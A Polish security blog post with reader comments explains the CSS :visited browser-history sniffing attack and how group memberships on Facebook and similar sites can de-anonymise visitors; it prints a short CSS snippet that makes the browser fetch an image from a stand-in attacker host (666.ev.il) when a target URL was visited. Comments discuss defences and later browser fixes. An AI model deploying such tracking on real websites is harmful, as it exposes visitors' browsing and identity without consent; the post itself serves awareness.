19:14
3/2/2010

Większość osób posiadających stwoje strony WWW nie zna imion i nazwisk swoich odwiedzających. Okazuje się jednak, że za pomocą prostego tricku z dużym prawdopodobieństwem można poznać tożsamość internauty przeglądającego dany serwis internetowy.

Wykradanie adresów stron z historii przeglądarki

Aby poznać tożsamość internauty odwiedzającego naszą stronę skorzystamy ze znanego ataku powodującego wykradnięcie odwiedzonych adresów URL z historii w przeglądarce użytkownika. Odpytamy ją o adresy grup w popularnych serwisach społecznościowych. W większości przypadków, posiadając informacje jedynie o grupach, do których ktoś należy na danym portalu społecznościowym, można z powodzeniem domyślić się jego nazwy użytkownika.

Sieci społecznościowe prawdę ci powiedzą

Publikacja A Practical Attack to De-Anonymize Social Network Users objaśnia:

42% użytkowników należących do grup może być dokładnie zidentyfikowana. Na atak podatni są m.in. korzystający z serwisów społecznościowych takich jak Facebook i LinkedIn

Techniczna implementacja ataku

Atak polega na zwabieniu użytkownika na stronę w kodzie której dodano ukryte linki. Ukryte linki to zbiór adresów URL, których obecność chcemy stwierdzić w historii przeglądarki użytkownika. Odpytanie historii jest możliwe dzięki pseudoklasie :visited w CSS, która pozwala na różne ostylowanie linków odwiedzonych i nieodwiedzonych.

Przykładowo, chcąc sprawdzić, czy odwiedziłeś FanPage Niebezpiecznika na Facebooku, mógłbym wykorzystać poniższy kod:

<style type="text/css">
a:visited {
background-image: url(http://666.ev.il/fan_niebezpiecznika.jpg);
}
</style>
<a href="http://facebook.com/niebezpiecznik"> test </a>

Obrazek fan_niebezpiecznika.jpg zostanie pobrany przez twoją przeglądarkę tylko wtedy, gdy w historii twojej przeglądarki znajduje się adres http://facebook.com/niebezpiecznik. Serwer 666.ev.il zna już twoje IP i wie, że na pewno byłeś w przeszłości na stronie Niebezpiecznika na Facebooku.

Mozilla Firefox przetrzymuje strony w historii przez 90 dni, Internet Explorer przez 20 dni, a Safari przez 30. Co ciekawe, Google Chrome przetrzymuje historię odwiedzonych stron w nieskończoność…

Oczywiście w przypadku realnego ataku sprawdza się tysiące linków i dla każdego z nich tworzy osobne klasy w CSS lub korzysta z innej formy ataku opartej o JavaScript. Adresy do sprawdzenia w przypadku Facebooka mają postać:

http://www.facebook.com/group.php?gid=[groupID]&v=info&ref=nf+

Poniżej praktyczna implementacja ataku, sprawdzająca:

Wiemy kim jesteś!

Pamiętacie jak kilka dni temu opisywaliśmy unikalność “odcisku przeglądarki” wynikającego z liczby i wersji zainstalowanych pluginów, rozdzielczości ekranu i rodzajów czcionek systemowych? To teraz dodajcie dwa do dwóch i wyobraźcie sobie co można zrobić mając nie tylko fingerprint przeglądarki, ale również tożsamość korzystającego z niej użytkownika ;-)

Przeczytaj także:

48 komentarzy

Dodaj komentarz
  1. Boję się was :)

  2. hm.. ehh
    Coraz ciekawsze te artykuły.
    Pozdrawiam.

  3. Może mi ktoś powiedzieć co ja, kurczę, robię źle ?
    Za każdym razem (nie ważne czy strona była odwiedzana czy nie) wyświetla się tylko “test”.

    Wygląda to tak:

    a:visited {
    background-image: url(TU OBRAZEK);
    }

    test

  4. Nie jest fajnie :/. Nie blokujecie HTML… Poprawione:

    a:visited {
    background-image: url(OBRAZEK);
    }

    test

  5. Wyrzuccie temte komentarze…
    Żródło do sprawdzenia: http://garstecki.net/test.html

  6. Jak zforcować przeglądarkę do a:visited=false ? Nie chce usuwać historii:P

  7. Mechanizm rozgryzłem trochę wcześniej, opisałem to u siebie: http://blog.kowalczyk.cc/2010/01/10/javascript-wykrywanie-obecnosci-danej-strony-w-historii-przegladarki/ – w każdym razie poza usunięciem historii raczej nie da się przed tym skutecznie obronić.

  8. Coraz częściej zaglądam na tę stronę i widzę, że staracie się, żeby teksty były na wysokim poziomie ciekawości. Jest po prostu co czytać.

  9. Zaczynam się nie pokoić.
    Sprawdzam sobie oba testy. Na porno nie wchodziłem. Potem testowo wlazłem na redtube, test potwierdził, żem porno ogladał.

    Przechodzę do drugiego testu – faktycznie jedną ze stron odwiedzonych jest redtube. Usuwam historię odwiedzonych stron w przeglądarce, cookies, ciasteczka flashowe (ręcznie z dysku) i… nadal w wynikach testu pojawia się redtube! Eee?

  10. 5 linijka, nie licząc akapitu powinno być odwiedzającego a nie dwiedzającego. :)

    Imię, nazwisko, fingerprint przeglądarki… czułem się o wiele bezpieczniejszy jak was nie czytałem :P

  11. Test “porno” jakoś bardziej dyskretny jest i szybszy. Drugi łączy się namolnie z siecią, jak mi na jakiejś stronie coś takiego się dzieje, zawsze szukam przyczyny (i ucinam urlfiltrem, bo mnie wkurza).

  12. Oj, szybsza ręka na LPM niż głowa. Czy userCSS lub userJS nie dałyby rady profilaktycznie zablokować takiego testu, skoro oparty jest o CSS?

  13. Z moją konfiguracją (FF, NoScript, User-Agent Switch, BetterPrivacy, Google Sharing, AdBlock, Tor, Cookies i historia wyłączone, brak kont w serwisach społecznościowych, niekorzystanie z usług Google) czuję się w miarę bezpiecznie.

    Porno oglądam a strona nic nie wykrywa (brak historii i pozostałości po flaszach jak mniemam). Browser stamp co jakiś czas się zmienia przez zmianę User agenta (niestety wtyczki prawdę ci powiedzą – od razu widać co jest pięć po rozszerzeniu .so).

    A za newsy o prywatności wielkie dzięki dla autora! Czytam z chęcią, przejęciem i stosuję co niektóre porady. Denerwuje mnie inwigilowanie mojej prywatności stąd ta lekka paranoja ;-)

  14. @Jurgi: Nie, bo tu chodzi o mechanizm, który jest praktycznie nieblokowalny – można by jedynie wprowadzić do przeglądarek zabezpieczenia, które nie pozwalałyby na powiązanie klas CSS z ich atrybutami. W każdym innym przypadku blokując te infomacje praktycznie musielibyśmy uniemożliwić przeglądarce poprawne wyświetlenie strony.

  15. Trochę dziwne. Akurat tak się złożyło, że rano wyczyściłem sobie historię przeglądania od tamtego czasu nie używałem netu. Teraz jesteście 2/3 stroną włączoną a wykrywa, że dzisiaj oglądałem pornostronki. Więc cusik nie tak

    Pozdrawiam
    Radom

  16. w firefoxie wystarczy w about:config “layout.css.visited_links_enabled” przestawić na “false” i test na startpanic.com nie wyświetla żadnych odwiedzonych stron mimo znaczącej historii w przeglądarce

  17. Może niebezpiecznik.pl został dodany do listy “niegrzecznych” stron? ;]

    BTW. Zobacz jakie to stronki i sprawdź dokładnie ciasteczka / historię i inne tego typu.

  18. Fajnie. Niektorzy nie oglądali, a pokazuje im, że oglądali. Ja oglądałem, a nic nie mam ;) No ale oglądać to trzeba ‘umić’ ;)

  19. HEHE znaczy się mój nawyk uruchamiania odkurzacza na koniec dnia wcale nie jest taki głupi :) Dobrze jest pamiętać ze się kiedyś miało b.mały twardziel i każde parę kb robiło różnice

  20. Good boy! You didn’t watch porn :)

  21. Dla Firefoksa można pobrać proste rozszerzenie:
    https://addons.mozilla.org/en-US/firefox/addon/12312

    Dzięki niemu przy wyłączonym “layout.css.visited_links_enabled” nadal można sprawdzić, czy (i kiedy) link był odwiedzany – stosowne info wyświetlane jest na statusbarze.

  22. Jednak tryb prywatny w FF działa :]

    “Good boy! You didn’t watch porn” … but i did ;-D

  23. to kiedy spodziewamy się dodatku do foxa, imitującego brak wtyczek + brak czcionek w windowsie + brak historii? :D

  24. dla znających temat można skutecznie się zamaskować ,wtedy powyższy tekst jest zbędny

    crac { versus ….}

  25. oczywiście, że można, ale skoro mówisz, że tekst jest zbędny, to wypadałoby się podzielić wiedzą…

  26. Zgadza się cyberiusz, “zmyła” jest jak najbardziej wskazana, wtedy te testy są do niczego, jednak weź pod uwagę że nie wszyscy są na tyle zdolni aby umieć wykonać takie rzeczy jak zmiania user agent czy blokowanie referera. Z dodatków FF też trzeba umieć korzystać i umieć je ustawić. Problem zaczyna się gdy np. ty używasz Firefoxa a inny użytkownik twojego komputera (np. żona) Internet Explorera bo niczym innym nie potrafi się obsłużyć :] Wtedy taki artykuł daje ci dobrą wiedzę i dzięki temu uświadamiasz mniej obeznane osoby do czego może doprowadzić ich bezmyślne klikanie w linki (nie tylko na stronach).

  27. [...] Już jakiś czas temu pisaliśmy o ogromnym zagrożeniu dla prywatności, jakim są ciasteczka flashowe. Wspominaliśmy również, jak łatwo m.in. za pomocą pluginu Flasha namierzyć konkretnego internautę a nawet poznać jego imię i nazwisko. [...]

  28. [...] ruchu sieciowego użytkownika (pośród milionów połączeń), w konsekwencji czego można nawet poznać nazwisko internauty, który odwiedził daną stronę [...]

  29. apropos danych z przeglądary fajna stronka http://www.ioerror.us/ip/headers
    i następna http://leader.ru/secure/who.html

  30. [...] domyślić się ich adresów można skorzystać z opisywanego przez nas CSS-History-Hack lub uruchomić jeden z javascriptowych skanerów. Erlend, twórca MalaRII, jako pożyteczne [...]

  31. [...] Pamiętajcie, że oglądane przez was “niewygodne” strony można wyciągnąć bez użycia wirusa, np. za pomocą tzw. ciasteczek flashowych i specjalnego CSS-History-Hack. [...]

  32. Jak moge sprawdzic kto byl na moim profilu facebook’owym? istnieje taka wtyczka? jesli tak to bede wdzieczna za namiary? jak ją zainstalować?

  33. czy można w jakis sposob sprawdzic kto wchodzil na moj profil facebookowy i śledził zapis na tablicy?
    jesli tak to prosze o instrukcje jak to zrobic…..

    pozdraawiam

  34. @krolik istniała. Udawała że działała.

  35. @krolik nie da się.

  36. [...] (np. tego, co ogladasz w sieci), to ci sie to nie uda będzie ci ciężko — pisaliśmy o tym wielokrotnie i jak na ironię, pisała też o tym ta sama organizacja, która jest odpowiedzialna za stworzenie [...]

  37. [...] widzenia prywatności błędu to chwalebny, ale mały krok naprzód. Ciągle bowiem internautów da się śledzić w sieci na wiele różnych [...]

  38. najprostszym rozwiązaniem jest korzystanie z trybu incognito w chromie ( shift+ctrl+N ).
    Strony przeglądane w tym trybie nie będą wyświetlane w historii przeglądarki ani historii wyszukiwania. Po zamknięciu okna incognito na komputerze nie zostanie po nich żaden ślad np. w postaci plików cookie.

  39. [...] prywatności internauty pisaliśmy już wielokrotnie, dowodząc z reguły, że prywatność w sieci nie istnieje. Poniżej prezentujemy koncepcję “wiecznego” ciasteczka HTTP, czyli takiego, [...]

  40. chrome wygląda na odpornego bez używania trybu incognito, strony startpanic i didyouwatchporn nic nie widzą. Firefox niestety nadal podatny

  41. [...] tylko, że podobne “ataki” znane są już od dawna: porównaj nasze artykuły o CSS history hacku z opcją wyliczania unikalności przeglądarki, oraz post Grossmana, którego badania można [...]

  42. W zasadzie to nic nowego nie odkryto. W 2006 roku wyciąłem numer kumplowi i za pomocą tej metody a:visited {color:red;} – udowodniłem mu, bez wchodzenia w historię jego komputera, że był na pewnej stronie, którą zapewne chciał ukryć.

    • mam juz ten kod na stronie ale co dalej? co z tym kodem sprawdzajacym? gdzie go umiescic. Prosze o pomoc

  43. lipa z tymi testami – jestem grzeczny wg nich ha ha

  44. Już FF jakoś dziurę naprawił.

  45. Byłem na obu polecanych stronach. Wyszło że nigdy nie odwiedziłem strony porno a jedyną “znaną” stroną na jakiej byłem to startpanic.com hmmm… jednym słowem nie taki diabeł straszny :)

    • Od tamtego czasu przeglądarki poprawiły te błędy.

    • Mi wyszło tak samo na startpanic.com. Ta strona od porno już nie istnieje, a domena na sprzedaż.

Twój komentarz

Zamieszczając komentarz akceptujesz regulamin dodawania komentarzy. Przez moderację nie przejdą: wycieczki osobiste, komentarze nie na temat, wulgaryzmy.

RSS dla komentarzy: